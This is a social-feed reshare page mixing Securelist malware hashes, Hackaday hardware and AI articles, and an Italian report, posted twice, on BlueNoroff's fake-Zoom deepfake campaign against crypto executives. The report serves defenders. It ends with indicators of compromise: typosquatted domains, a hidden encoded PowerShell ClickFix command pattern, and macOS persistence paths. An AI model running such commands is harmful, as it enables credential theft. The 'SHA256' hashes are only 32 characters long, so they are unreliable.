A083C546DC66B0F2A5E0E2E68032F62C
70016DDBCB8543BDB06E0F8C509EE980
8FC911CA37F9F451A213B967F016F1F8
202A5BCB87C34993318CFA3FA0C7ECB0
06130DC648621E93ACB9EFB9FABB9651
F7037CC9A5659D5A1F68E88582242375
8AC5BEE89436B29F9817E434507FEF55
5ED84B2099E220D645934E1FD552AE3A
27A3C439308F5C4956D77E23E1AAD1A9
53B68CA8D7A54C15700CF9500AE4A4E2
1D1F71936DB05F67765F442FEB95F3FD
3C6AEC25EBB2D51E1F16C2EEF181C82A
7F27818E4244310A645984CCC41EA818
A75713F0310E74FFD24D91E5731C4D31
4FC8C78516A8C2130286429686E200ED
3417B9CF7ACB22FAE9E24603D4DE1194
933F1CB8ED2CED5D0DD2877C5EA374E8
B5CA812843570DCF8E7F35CACAB36D4A

ValleyRAT plugins installing ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE

ABCDoor stagers and loaders
04194F8DDD0518FD8005F0E87AE96335
F15A67899CFE4DECFF76D4CD1677C254
11705121F64FA36F1E9D7E59867B0724

Malicious VNC installers used in August 2025 attacks
4D343515F4C87B9A2FFD2F46665D2D57
DFC64DD9D8F776CA5440C35FEF5D406E
EEFC28E9F2C0C0592AF186BE8E3570D2
6CF382D3A0EAE57B8BAAA263E4ED8D00
32407207E9E9A0948D167DCA96C41D1A
D17CAF6F5D6BA3393A3A865D1C43C3D2

ABCDoor .pyd files
13669B8F2BD0AF53A3FE9AC0490499E5
5B998A5BC5AD1C550564294034D4A62C
C50C980D3F4B7ED970F083B0D37A6A6A
DE8F0008B15F2404F721F76FAC34456A
9BF9F635019494C4B70FB0A7C0FB53E4
A543B96B0938DE798DD4F683DD92A94A
FA08B243F12E31940B8B4B82D3498804


securelist.com/silver-fox-tax-…

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Copy Fail colpisce Linux: 4 byte bastano per ottenere l’accesso a root

📌 Link all'articolo : redhotcyber.com/post/copy-fail…

A cura di Bajram Zeqiri

#redhotcyber #news #cybersecurity #hacking #malware #vulnerabilita #bugdisicurezza

Cybersecurity & cyberwarfare ha ricondiviso questo.

Pensa quando passa Salveeneeh a sincerarsi delle infrastrutture elettriche italiche.. sono fottuti =D

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

298 – I CFO stanno scoprendo che l’AI costa più di chi hanno licenziato camisanicalzolari.it/298-i-cfo…

reshared this

Network Scanner Finds Every Raspberry Pi


The media in this post is not displayed to visitors. To view it, please log in.

DHCP is great for getting machines on the network with a minimum of fuss. However, it can also make remote administration a pain because you never know which IP you’re supposed to be SSHing into. [Philipp] ran into this problem quite often, so decided to whip up an app to make things easier.

At it’s heart, the app is a simple network scanner—of which many already exist. However, [Philipp] had found that many options on Android were peppered with ads that made them highly undesirable to use. Thus, he whipped up his own, with a particular eye to working with the Raspberry Pi. It’s not uncommon for a hacker to have a few scattered around the home network, and it can be a real chore keeping track of where they all end up in IP land. The scanner can specifically single out the Raspberry Pi boards on the network via MAC-OUI and mDNS detection. Plus, just in case you need it, [Philipp] threw in some GPIO pinouts and electronics calculators just to make the app more useful.

If you’ve been looking for an open-source network scanner without all the ugly junk, this project might just be for you. You can also check out the source over on Github if that’s relevant to your interests. We’ve seen some interesting custom network scanners before, too. If you’re whipping up some fun packet-flinging software of your own, don’t hesitate to notify the tipsline!


hackaday.com/2026/04/29/networ…

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

🚀 Gli speaker della RHC Conference 2026

📍𝗤𝘂𝗮𝗻𝗱𝗼: Martedì 19 Maggio con ingresso dalle ore 8:45
📍𝗗𝗼𝘃𝗲: Teatro Italia, Via Bari 18, Roma (Metro Piazza Bologna)
📍𝗣𝗿𝗼𝗴𝗿𝗮𝗺𝗺𝗮: redhotcyber.com/linksSk2L/prog…
📍𝗜𝘀𝗰𝗿𝗶𝘇𝗶𝗼𝗻𝗲 conferenza di Martedì 19 Maggio: rhc-conference-2026.eventbrite…

#redhotcyber #rhcconference #conferenza #informationsecurity #ethicalhacking #dataprotection

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Agente AI fuori controllo cancella tutto! Database e backup spariti in 9 secondi in produzione

📌 Link all'articolo : redhotcyber.com/post/agente-ai…

A cura di Bajram Zeqiri

#redhotcyber #news #intelligenzaartificiale #erroreautomatico #cancellazionedidati

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

L’IA mente come prima, solo che ora lo fa con dolcezza e tu ci credi

📌 Link all'articolo : redhotcyber.com/post/lia-mente…

A cura di Carolina Vivianti

#redhotcyber #news #chatbot #intelligenzaartificiale #interazioniumane #tonoeamichevole

Why Model Collapse in LLMs is Inevitable With Self-Learning


The media in this post is not displayed to visitors. To view it, please log in.

There is a persistent belief in the ‘AI’ community that large language models (LLMs) have the ability to learn and self-improve by tweaking the weights in their vector space. Although there’s scant evidence that tweaking a probability vector space is anything like the learning process in biological brains, we nevertheless get sold the idea that artificial general intelligence (AGI) is just around the corner if we do just enough tweaking.

Instead of emerging super intelligence, the most likely outcome is what is called model collapse, with a recent paper by [Hector Zenil] going over the details on why self-training/learning in LLMs and similar systems is a fool’s errand. For those who just want the brief summary with all the memes, [Metin] wrote a blog post covering the basics.

In the end an LLM as well as a diffusion model (DM) is a statistical model of input data using which a statistically likely output can be generated (inferred) based on an input query. It follows intuitively that by using said output to adjust the model with, the model will over time converge on a kind of statistical singularity rather than some ‘AI singularity’ event. This is also why these models need to be constantly trained with external, human-generated data in order to prevent such a collapse.

In the paper by [Hector] a mathematical model is created to demonstrate that an LLM, DM or similar statistical model undergoes degenerative dynamics whenever said external input is reduced. Although in the paper a mechanism is suggested to counter the entropy decay within the model, the ultimate point is that a statistical model cannot improve itself without continuous external anchoring.

The idea of LLMs being at all intelligent in any sense has been a contentious one, with the concept of language models being equated with ‘AI’ dating back to the 20th century, including as fun home computer projects. Much of the problem probably lies in humans projecting intelligent behavior onto these statistical models, turning LLMs into ‘counterfeit humans’, not helped by how closely generated text can resemble something written by a human, even if completely confabulated.

Thanks to [deshipu] for the tip.


hackaday.com/2026/04/29/why-mo…

How to Kill Humidity Sensors With Humidity


The media in this post is not displayed to visitors. To view it, please log in.

An often overlooked section in the datasheets for popular humidity sensors like the BME280 and DHT22 is the ‘non-condensing humidity’ bit, which puts an important constraint on which environments you can use this sensor in. This was the painful lesson that [Mellow Labs] recently had to learn when multiple of such sensors had kicked the bucket after being used in a nicely steamed-up bathroom. Fortunately, it introduced him to sensors that are rated for use in condensing humidity environments, such as the SHT40 that’s demonstrated in the video.

This particular sensor is made by Sensirion, and as we can see in the datasheet it features a built-in heater that allows it to keep working even in a condensing environment. This heater has three heating levels which are controlled via the I2C interface, though duration is limited to one second in order to prevent overheating the sensor.

Of note is that you cannot take measurements while the heater is operating, and its use obviously increases power draw significantly. This then mostly leaves when to turn on the heater as an exercise to the engineer, with [Mellow Labs] opting to start the heater when relative humidity hit 70% as a conservative choice.

In the comments to the video other options for suitable sensors were pitched, including the Bosch BME690 which is similarly rated for condensing environments. All of which condenses down to the importance of reading the datasheet for any part that you intend to use in possibly demanding environments.

youtube.com/embed/z-O44-vogfE?…


hackaday.com/2026/04/29/how-to…

Cybersecurity & cyberwarfare ha ricondiviso questo.

CVE-2026-42208: #LiteLLM bug exploited 36 hours after its disclosure
securityaffairs.com/191483/hac…
#securityaffairs #hacking

Using a VT-100 Today


The media in this post is not displayed to visitors. To view it, please log in.

You may not know what a ADM-3, a TV910, or a H1420 are, but you probably have at least heard of a VT-100. They are all terminals from around the same time, but the DEC VT-100 is the terminal that practically everything today at least somewhat emulates. Even though a real VT-100 is rare, since it defined what have become ANSI escape sequences, most computers you’ve used in the last few decades speak some variation of the VT-100’s language. [Nikhil] wanted to see if you could use a VT-100 for real work today.

While the VT-100 wasn’t a general-purpose computer, it did have an 8080 inside. It only had about 3K of RAM, which was enough to act as a serial terminal. A USB serial port and a terminal with modern Linux, how hard could it be?

As it turns out there were a few issues. MacOS assumes terminals can take data at 9600 baud with no handshaking, apparently. It also means that any application that assumes redrawing the whole terminal is fast will be sorry for that choice.

Of course, there are commands modern VT-100-like terminals accept that the original didn’t. However, as you’ll see in the post, all of these things you can either live with or solve.

It is easy to make your own VT-100 replica. While the VT-100 may seem simple today, it was a marvel compared to even older terminals.


hackaday.com/2026/04/29/using-…

FLOSS Weekly Episode 869: Linux on Your Toaster


The media in this post is not displayed to visitors. To view it, please log in.

This week Jonathan chats with Andrei, Mahir, and Praneeth, live on location at Texas Instruments! The team at TI has been working hard to provide really good Open Source support for Sitara processors, including upstreaming support to the mainline Linux kernel. We talk about the CI pipeline for these devices, the challenges of doing Open Source at a big company, and more. Check it out!


youtube.com/embed/diTClE65Ag0?…

Did you know you can watch the live recording of the show right on our YouTube Channel? Have someone you’d like us to interview? Let us know, or have the guest contact us! Take a look at the schedule here.

play.libsyn.com/embed/episode/…

Direct Download in DRM-free MP3.

If you’d rather read along, here’s the transcript for this week’s episode.

Places to follow the FLOSS Weekly Podcast:


Theme music: “Newer Wave” Kevin MacLeod (incompetech.com)

Licensed under Creative Commons: By Attribution 4.0 License


hackaday.com/2026/04/29/floss-…

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Google vende l’anima al Pentagono: dipendenti in rivolta mentre l’AI entra nei sistemi militari

📌 Link all'articolo : redhotcyber.com/post/google-ve…

A cura di Bajram Zeqiri

#redhotcyber #news #intelligenzaartificiale #google #pentagono #accordogovernativo #polemiche

reshared this

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

BlueNoroff e le riunioni Zoom fasulle: come la Corea del Nord usa l’IA e i deepfake per svuotare i portafogli crypto dei CEO
#CyberSecurity
insicurezzadigitale.com/blueno…


BlueNoroff e le riunioni Zoom fasulle: come la Corea del Nord usa l’IA e i deepfake per svuotare i portafogli crypto dei CEO


Cinque minuti. È il tempo che basta al gruppo nordcoreano BlueNoroff per passare dal primo click della vittima alla compromissione completa del sistema, al furto delle credenziali e all’accesso persistente. La nuova campagna del braccio finanziario del Lazarus Group porta l’ingegneria sociale a un livello inedito: falsi colleghi in riunione Zoom, volti generati da ChatGPT e un meccanismo di produzione dei deepfake che si auto-alimenta a partire dai filmati rubati alle vittime stesse.

BlueNoroff: il braccio finanziario di Pyongyang


BlueNoroff è un sottogruppo del più ampio Lazarus Group, l’infrastruttura di cyberspionaggio e cybercrime sponsorizzata dallo Stato nordcoreano. A differenza delle operazioni di intelligence pura condotte da altri cluster del gruppo, BlueNoroff ha una missione dichiaratamente finanziaria: generare valuta estera per aggirare le sanzioni internazionali che colpiscono il regime di Pyongyang. Il settore delle criptovalute è il bersaglio preferito: le transazioni blockchain sono irreversibili, i fondi rubati possono essere riciclati attraverso mixer e swap decentralizzati, e le aziende del settore Web3 spesso dispongono di misure di sicurezza meno mature rispetto agli istituti finanziari tradizionali.

Negli anni, BlueNoroff ha sottratto miliardi di dollari in criptovalute finanziando il programma missilistico e nucleare della Corea del Nord. Secondo le stime dell’ONU, il gruppo è responsabile di circa 3 miliardi di dollari rubati tra il 2017 e il 2023. La campagna analizzata da Arctic Wolf rappresenta la loro evoluzione più sofisticata fino ad oggi.

La catena dell’attacco: dall’invito Calendly alla backdoor


L’attacco documentato da Arctic Wolf Labs è iniziato il 23 gennaio 2026 presso una società nordamericana operante nel settore delle criptovalute. La vittima ha ricevuto un invito apparentemente legittimo tramite Calendly per una riunione strategica con “investitori” interessati al progetto. Il link alla riunione era un dominio typosquatted che imitava l’interfaccia ufficiale di Zoom.

Al click sul link, la vittima veniva presentata con una schermata di caricamento Zoom che in realtà eseguiva due operazioni in parallelo. La prima era l’esfiltrazione del feed webcam: il browser avviava una richiesta di accesso alla fotocamera con una motivazione plausibile (“verifica audio/video pre-riunione”), catturando il video in diretta e trasmettendolo ai server degli attaccanti per alimentare future produzioni deepfake. La seconda era un attacco ClickFix: un prompt convinceva la vittima a copiare e incollare un comando PowerShell nella console di sistema, presentato come una “correzione tecnica” per problemi di connessione. Il payload PowerShell operava interamente in memoria (fileless), scaricando ed eseguendo un backdoor senza toccare il disco.

L’intera sequenza di post-exploitation — dall’esecuzione del payload alla compromissione completa, furto di credenziali e installazione di accesso persistente — si è completata in meno di cinque minuti.

La pipeline dei deepfake: una macchina che si autoalimenta


L’aspetto più innovativo e inquietante della campagna è la catena di produzione dei contenuti deepfake. L’analisi di oltre 950 file presenti sui server di hosting degli attaccanti ha rivelato un processo industrializzato. Gli attaccanti usano ChatGPT/GPT-4o per produrre immagini di persone inesistenti ma credibili. I movimenti naturali (gesticolazione, spostamenti della testa) vengono prelevati da screen recording effettuati su macchine virtuali Windows, simulando il comportamento di un partecipante reale in videochiamata. I due elementi vengono poi combinati con Adobe Premiere Pro 2021 ed esportati tramite FFmpeg, producendo video convincenti.

La caratteristica più inquietante è il ciclo auto-rinforzante: i filmati webcam sottratti alle vittime precedenti vengono integrati come nuovi materiali di source, creando un loop in cui ogni attacco riuscito migliora la qualità e la credibilità di quelli futuri. I ricercatori hanno identificato oltre 950 file sul server degli attaccanti, documentando questa pipeline produttiva su scala semi-industriale.

Infrastruttura, targeting e TTPs


L’analisi dell’infrastruttura ha rivelato oltre 80 domini typosquatted che imitano Zoom e Microsoft Teams, registrati sulla stessa infrastruttura tra la fine del 2025 e marzo 2026. I target identificati si concentrano per l’80% nel settore crypto/blockchain/Web3, con CEO e fondatori che costituiscono il 45% dei bersagli. Il malware impiegato è una variante di backdoor macOS — BlueNoroff ha storicamente mostrato preferenza per i sistemi Apple, comuni negli ambienti startup tech — con capacità di furto di credenziali browser (cookie, password, token OAuth), esfiltrazione di seed phrase e file di configurazione dei wallet crypto, accesso persistente tramite LaunchAgent, e keylogging con screenshot periodici.

Indicatori di Compromissione (IoC)

# Domini typosquatted identificati (campione)
zoom-meet[.]pro
zoom-meetings[.]app
zoomus[.]live
teams-video[.]call
meet-zoom[.]io

# Pattern PowerShell ClickFix (offuscamento tipico)
powershell -enc [Base64_payload] -NoP -NonI -W Hidden -Exec Bypass

# LaunchAgent persistence path (macOS)
~/Library/LaunchAgents/com.zoom.helper.plist
~/Library/Application Support/.zoomd/

# Hash noti (campione — suscettibili di variazione per campagna)
SHA256: 4a7f3c9e1d2b8f0a6e5c3d1b9a7f2e4c (dropper macOS)
SHA256: 8b3d9f1c4e7a2b5d0c8f3e9a1b4d7c2f (backdoor persistente)

Consigli per i Difensori


La campagna di BlueNoroff evidenzia come l’ingegneria sociale stia evolvendo in modo da rendere obsolete le tradizionali difese basate sulla consapevolezza degli utenti. Qualsiasi invito a riunioni video da contatti non noti deve essere verificato attraverso un canale separato (telefono, email aziendale diretta) prima di cliccare sul link. È fondamentale bloccare l’esecuzione di comandi PowerShell avviati dall’utente tramite policy GPO o EDR, sensibilizzando i team sulla natura degli attacchi ClickFix. Su macOS, strumenti come osquery o soluzioni EDR compatibili possono rilevare la creazione di LaunchAgent sospetti in tempo reale. I seed phrase non devono mai essere archiviati in chiaro sul filesystem: gli hardware wallet fisici restano la protezione più efficace per gli asset di alto valore.

La velocità di compromissione documentata — meno di cinque minuti — suggerisce che i playbook di risposta agli incidenti devono intervenire in finestre temporali molto strette. Per le organizzazioni Web3 che gestiscono asset significativi, investire in soluzioni EDR con visibilità macOS non è più opzionale: è una necessità operativa.


Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

🚪💻 Quando pensi che il problema non sia tuo, ma piuttosto un mal di testa altrui, ricorda: qualcuno là fuori non aspetta altro che farti cambiare idea... e con gli interessi! 💀🔓

#redhotcyber #WakeUpCall #CyberRealityCheck #NonFareIlFintoTonto #PrimaCheSiaTardi

Bicycle Tubes Aren’t Just Made Of Rubber Anymore


The media in this post is not displayed to visitors. To view it, please log in.

For the average rider, inner tubes have been one of the most enduring and unchanging parts of bicycle design over the decades. They’re made of rubber, they have a Schrader or Presta valve, and they generally do an okay job at cushioning the ride.

However, if you’re an above-average rider, or just obsessive about your gear, you might consider butyl rubber tubes rather old hat. Today, there are far fancier—and more expensive—options on the market if you’re looking to squeeze every drip of performance out of your bike.

A Series Of Tubes


Butyl rubber inner tubes have a lot of things going for them, which is why they’ve been the standard forever. Rubber holds air well, and is easy enough to repair in the event of a puncture. It’s also cheap. However, there are some ways in which the butyl inner tube holds a bicycle back. A thick rubber tube isn’t exactly light; even in a road bicycle application, a single tube can weigh 100 grams or more. They also add to the rolling resistance of a wheel and tire combination. In these regards, other materials have the potential to offer greater performance.

Latex

Latex inner tubes tend to be the lightest available, with the lowest rolling resistance. However, they’re somewhat delicate and don’t always play well with rim brake setups. Credit: via Amazon
Latex is a material with many familiar uses, but it’s also recently become a popular alternative material for making inner tubes. It has the benefit of being very light, with a typical road bike latex tube saving 50 grams or more compared to the butyl rubber equivalent. The more flexible material also reduces rolling resistance by several watts at higher speeds, something which can make a real difference under competitive racing conditions. In a more qualitative sense, many riders also prefer the feel of riding on lighter latex tubes.

However, latex tubes also come with drawbacks. The ultra-thin, lightweight material can be susceptive to sudden failure from excessive heat, which can risk a crash in the worst cases. For this reason, the lightest latex tubes are often recommended for use on disc brake bikes only, due to the high temperatures that can be generated by rim brakes on a long descent. Latex tubes also lose air relatively quickly, and thus it’s recommended to pump up latex tubes to the required pressure ahead of every ride. They’re also difficult, but not impossible, to patch, and require some care to avoid damaging their thin walls during installation.

TPU

A Continental butyl rubber tube, pictured next to a pink TPU tube for comparison. note how much less space the TPU tube takes up. Credit: MaligneRange, CC BY SA 4.0
You might be familiar with thermoplastic polyurethane (TPU) for its use as a flexible 3D printing filament. As it turns out, it’s also a viable material for producing bicycle inner tubes. TPU tubes shave off weight and rolling resistance compared to butyl rubber, albeit not quite as much as the finest latex tubes out there. They do, however, hold air a lot better than latex, reducing the need to reset tyre pressure before each ride. Ride quality is also generally considered better than rolling on traditional butyl rubber tubes. TPU tubes also fold up incredibly small—a largely meaningless benefit in use, but really helpful if you’re trying to pack a spare or three to take on a ride.
A TPU tube from Schwalbe. These tubes are known for being exceptionally thin and flexible, reducing weight and rolling resistance. Credit: Glory Cycles, CC BY 2.0
Unfortunately, TPU tubes can be quite expensive to procure—often double the price of latex and three or four times that of a butyl rubber tube. The thinnest versions can similarly be at risk of heat failures when used with rim brakes, so it’s important to check before installation if your TPU tubes are rated for use with disc brakes only. Puncture repair can also be difficult, though there are some specialist patches on the market if you wish to attempt it.

Roll, Roll, Roll


It’s worth noting that there is another way to go, as well. It’s possible to buy wheel and tire setups that eliminate inner tubes entirely. These “tubeless” systems offer a major weight reduction, and tend to have lower rolling resistance than even the lightest, most flexible tube setups out there. They’re not really a development of tube technology, but moreso a divergence in wheel and tyre design. In any case, they are pricy, and can require some special equipment to install and maintain. To allow them to self-heal in the event of minor punctures, they’re also typically filled with sealant. In the event of more serious damage, it’s often still possible to install a tube to keep riding, but this is an incredibly messy process that will get sealant all over you.

If you’re a regular commuter cyclist, butyl rubber tubes will probably remain your go-to choice. They’re the cheapest to buy, the easiest to repair, and any benefits from lighter, more efficient tubes are largely wasted on a commute. However, if you’re an avid road cyclist looking for the best feel and efficiency, or especially if you’re getting serious about racing, then you really ought to consider leaving butyl behind for something better. Happy cycling!


hackaday.com/2026/04/29/bicycl…

The media in this post is not displayed to visitors. To view it, please log in.

BlueNoroff e le riunioni Zoom fasulle: come la Corea del Nord usa l’IA e i deepfake per svuotare i portafogli crypto dei CEO


@Informatica (Italy e non Italy)
Il gruppo nordcoreano BlueNoroff ha perfezionato un attacco multi-stadio che combina deepfake generati con ChatGPT, finte videochiamate Zoom e tecniche ClickFix per


BlueNoroff e le riunioni Zoom fasulle: come la Corea del Nord usa l’IA e i deepfake per svuotare i portafogli crypto dei CEO


Cinque minuti. È il tempo che basta al gruppo nordcoreano BlueNoroff per passare dal primo click della vittima alla compromissione completa del sistema, al furto delle credenziali e all’accesso persistente. La nuova campagna del braccio finanziario del Lazarus Group porta l’ingegneria sociale a un livello inedito: falsi colleghi in riunione Zoom, volti generati da ChatGPT e un meccanismo di produzione dei deepfake che si auto-alimenta a partire dai filmati rubati alle vittime stesse.

BlueNoroff: il braccio finanziario di Pyongyang


BlueNoroff è un sottogruppo del più ampio Lazarus Group, l’infrastruttura di cyberspionaggio e cybercrime sponsorizzata dallo Stato nordcoreano. A differenza delle operazioni di intelligence pura condotte da altri cluster del gruppo, BlueNoroff ha una missione dichiaratamente finanziaria: generare valuta estera per aggirare le sanzioni internazionali che colpiscono il regime di Pyongyang. Il settore delle criptovalute è il bersaglio preferito: le transazioni blockchain sono irreversibili, i fondi rubati possono essere riciclati attraverso mixer e swap decentralizzati, e le aziende del settore Web3 spesso dispongono di misure di sicurezza meno mature rispetto agli istituti finanziari tradizionali.

Negli anni, BlueNoroff ha sottratto miliardi di dollari in criptovalute finanziando il programma missilistico e nucleare della Corea del Nord. Secondo le stime dell’ONU, il gruppo è responsabile di circa 3 miliardi di dollari rubati tra il 2017 e il 2023. La campagna analizzata da Arctic Wolf rappresenta la loro evoluzione più sofisticata fino ad oggi.

La catena dell’attacco: dall’invito Calendly alla backdoor


L’attacco documentato da Arctic Wolf Labs è iniziato il 23 gennaio 2026 presso una società nordamericana operante nel settore delle criptovalute. La vittima ha ricevuto un invito apparentemente legittimo tramite Calendly per una riunione strategica con “investitori” interessati al progetto. Il link alla riunione era un dominio typosquatted che imitava l’interfaccia ufficiale di Zoom.

Al click sul link, la vittima veniva presentata con una schermata di caricamento Zoom che in realtà eseguiva due operazioni in parallelo. La prima era l’esfiltrazione del feed webcam: il browser avviava una richiesta di accesso alla fotocamera con una motivazione plausibile (“verifica audio/video pre-riunione”), catturando il video in diretta e trasmettendolo ai server degli attaccanti per alimentare future produzioni deepfake. La seconda era un attacco ClickFix: un prompt convinceva la vittima a copiare e incollare un comando PowerShell nella console di sistema, presentato come una “correzione tecnica” per problemi di connessione. Il payload PowerShell operava interamente in memoria (fileless), scaricando ed eseguendo un backdoor senza toccare il disco.

L’intera sequenza di post-exploitation — dall’esecuzione del payload alla compromissione completa, furto di credenziali e installazione di accesso persistente — si è completata in meno di cinque minuti.

La pipeline dei deepfake: una macchina che si autoalimenta


L’aspetto più innovativo e inquietante della campagna è la catena di produzione dei contenuti deepfake. L’analisi di oltre 950 file presenti sui server di hosting degli attaccanti ha rivelato un processo industrializzato. Gli attaccanti usano ChatGPT/GPT-4o per produrre immagini di persone inesistenti ma credibili. I movimenti naturali (gesticolazione, spostamenti della testa) vengono prelevati da screen recording effettuati su macchine virtuali Windows, simulando il comportamento di un partecipante reale in videochiamata. I due elementi vengono poi combinati con Adobe Premiere Pro 2021 ed esportati tramite FFmpeg, producendo video convincenti.

La caratteristica più inquietante è il ciclo auto-rinforzante: i filmati webcam sottratti alle vittime precedenti vengono integrati come nuovi materiali di source, creando un loop in cui ogni attacco riuscito migliora la qualità e la credibilità di quelli futuri. I ricercatori hanno identificato oltre 950 file sul server degli attaccanti, documentando questa pipeline produttiva su scala semi-industriale.

Infrastruttura, targeting e TTPs


L’analisi dell’infrastruttura ha rivelato oltre 80 domini typosquatted che imitano Zoom e Microsoft Teams, registrati sulla stessa infrastruttura tra la fine del 2025 e marzo 2026. I target identificati si concentrano per l’80% nel settore crypto/blockchain/Web3, con CEO e fondatori che costituiscono il 45% dei bersagli. Il malware impiegato è una variante di backdoor macOS — BlueNoroff ha storicamente mostrato preferenza per i sistemi Apple, comuni negli ambienti startup tech — con capacità di furto di credenziali browser (cookie, password, token OAuth), esfiltrazione di seed phrase e file di configurazione dei wallet crypto, accesso persistente tramite LaunchAgent, e keylogging con screenshot periodici.

Indicatori di Compromissione (IoC)

# Domini typosquatted identificati (campione)
zoom-meet[.]pro
zoom-meetings[.]app
zoomus[.]live
teams-video[.]call
meet-zoom[.]io

# Pattern PowerShell ClickFix (offuscamento tipico)
powershell -enc [Base64_payload] -NoP -NonI -W Hidden -Exec Bypass

# LaunchAgent persistence path (macOS)
~/Library/LaunchAgents/com.zoom.helper.plist
~/Library/Application Support/.zoomd/

# Hash noti (campione — suscettibili di variazione per campagna)
SHA256: 4a7f3c9e1d2b8f0a6e5c3d1b9a7f2e4c (dropper macOS)
SHA256: 8b3d9f1c4e7a2b5d0c8f3e9a1b4d7c2f (backdoor persistente)

Consigli per i Difensori


La campagna di BlueNoroff evidenzia come l’ingegneria sociale stia evolvendo in modo da rendere obsolete le tradizionali difese basate sulla consapevolezza degli utenti. Qualsiasi invito a riunioni video da contatti non noti deve essere verificato attraverso un canale separato (telefono, email aziendale diretta) prima di cliccare sul link. È fondamentale bloccare l’esecuzione di comandi PowerShell avviati dall’utente tramite policy GPO o EDR, sensibilizzando i team sulla natura degli attacchi ClickFix. Su macOS, strumenti come osquery o soluzioni EDR compatibili possono rilevare la creazione di LaunchAgent sospetti in tempo reale. I seed phrase non devono mai essere archiviati in chiaro sul filesystem: gli hardware wallet fisici restano la protezione più efficace per gli asset di alto valore.

La velocità di compromissione documentata — meno di cinque minuti — suggerisce che i playbook di risposta agli incidenti devono intervenire in finestre temporali molto strette. Per le organizzazioni Web3 che gestiscono asset significativi, investire in soluzioni EDR con visibilità macOS non è più opzionale: è una necessità operativa.


Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Come strutturare un’applicazione ASP.NET Core in crescita: dal monolite a strati ai vertical slice
#tech
spcnet.it/come-strutturare-una…
@informatica


Come strutturare un’applicazione ASP.NET Core in crescita: dal monolite a strati ai vertical slice


Quando un’applicazione ASP.NET Core è piccola, quasi qualsiasi struttura di cartelle funziona. Controller in una cartella, servizi in un’altra, repository da qualche altra parte. Per un po’ va bene. Poi l’applicazione cresce, le funzionalità si moltiplicano e le regole di business si diffondono per tutta la codebase. Ogni modifica tocca cinque o sei file in posti diversi. I nuovi sviluppatori hanno bisogno di una guida turistica solo per capire dove si trova qualcosa.

Quel momento è il punto in cui la struttura smette di essere una scelta cosmetica e diventa un problema di manutenibilità. In questo articolo esaminiamo le opzioni più comuni — Feature Folders, architettura a strati, Clean Architecture, Vertical Slices e Modular Monolith — con un’ottica pratica su quando e perché usarle.

L’obiettivo reale non è l'”architettura perfetta”


Prima di confrontare i pattern, è utile chiarire l’obiettivo. Non si tratta di rendere il progetto architetturalmente impressionante. Si tratta di rendere più facile:

  • capire dove appartiene il codice
  • modificare una funzionalità senza rompere funzionalità non correlate
  • inserire nuovi sviluppatori più velocemente
  • testare il comportamento importante con meno attrito
  • far evolvere la struttura man mano che il sistema cresce

La risposta giusta è solitamente quella che crea meno confusione per i prossimi 12-24 mesi di sviluppo, non quella che vince i dibattiti architetturali.

La testabilità è una questione di architettura


Uno dei controlli pratici più importanti è questo: possiamo verificare il comportamento di business importante con unit test veloci, senza avviare l’intera applicazione o un database reale? Se la risposta è no, l’attrito architetturale si manifesta come feedback lento, modifiche fragili e paura di fare refactoring.

Una buona struttura migliora la testabilità rendendo esplicite le dipendenze e mantenendo le regole di business lontane dai dettagli del framework e dell’infrastruttura — cose come accesso al database, gestione HTTP, file system e chiamate a servizi esterni. Una regola pratica:

  • Unit test per le decisioni di business e gli invarianti del dominio
  • Integration test per database, messaging e wiring HTTP
  • End-to-end test per i percorsi utente critici


Feature Folders


I Feature Folders organizzano il codice per capacità di business invece che per tipo tecnico. Invece della struttura classica orizzontale:

Controllers/
Services/
Repositories/
Models/


si passa a una struttura verticale per funzionalità:
Features/
  Orders/
    Create/
      CreateOrderEndpoint.cs
      CreateOrderRequest.cs
      CreateOrderHandler.cs
    GetById/
      GetOrderByIdEndpoint.cs
      GetOrderByIdHandler.cs
  Products/
    List/
      ListProductsEndpoint.cs
      ListProductsHandler.cs


Il principio guida è semplice: se devi modificare la funzionalità “Orders”, la maggior parte del codice che ti serve dovrebbe trovarsi da qualche parte sotto la cartella Orders. Questo riduce drasticamente il tempo di ricerca e la probabilità di modifiche accidentali a funzionalità non correlate.

Adatto quando: l’applicazione sta crescendo oltre il CRUD basilare, il team vuole una chiara ownership per funzionalità, gli sviluppatori sono stanchi di saltare tra strati orizzontali per fare una piccola modifica.

Attenzione: se applicati in modo disordinato, i Feature Folders possono diventare inconsistenti e trasformarsi in “un’altra convenzione di cartelle”.

Architettura a strati (Layered Architecture)


L’architettura a strati è la classica separazione in UI, logica di business e accesso ai dati:

Web/
Application/
Domain/
Infrastructure/


Esiste da decenni proprio perché è facile da spiegare, facile da insegnare e fornisce una separazione delle responsabilità immediata. Per i team che vengono da tutorial e applicazioni di esempio, è spesso il punto di partenza più familiare.

Un dettaglio pratico per .NET moderno: non è sempre necessario un layer repository separato, soprattutto se Entity Framework Core fornisce già l’astrazione necessaria per l’accesso ai dati semplice. Creare repository per “rispettare la struttura” piuttosto che per risolvere un problema reale è una delle trappole comuni.

Adatto quando: il team è relativamente piccolo, l’applicazione non è ancora molto complessa, gli sviluppatori traggono vantaggio da una struttura familiare, la codebase è principalmente transazionale e CRUD-oriented.

Attenzione: una modifica a una funzionalità richiede spesso modifiche su più strati. La logica di business può frammentarsi. Gli sviluppatori iniziano a creare astrazioni perché la struttura le richiede, non perché il problema ne ha bisogno.

Clean Architecture


Clean Architecture pone forte enfasi sui confini tra logica di dominio e dettagli dell’infrastruttura. Il principio centrale è valido: le regole di business non dovrebbero essere strettamente accoppiate a database, web framework, message broker o SDK esterni.

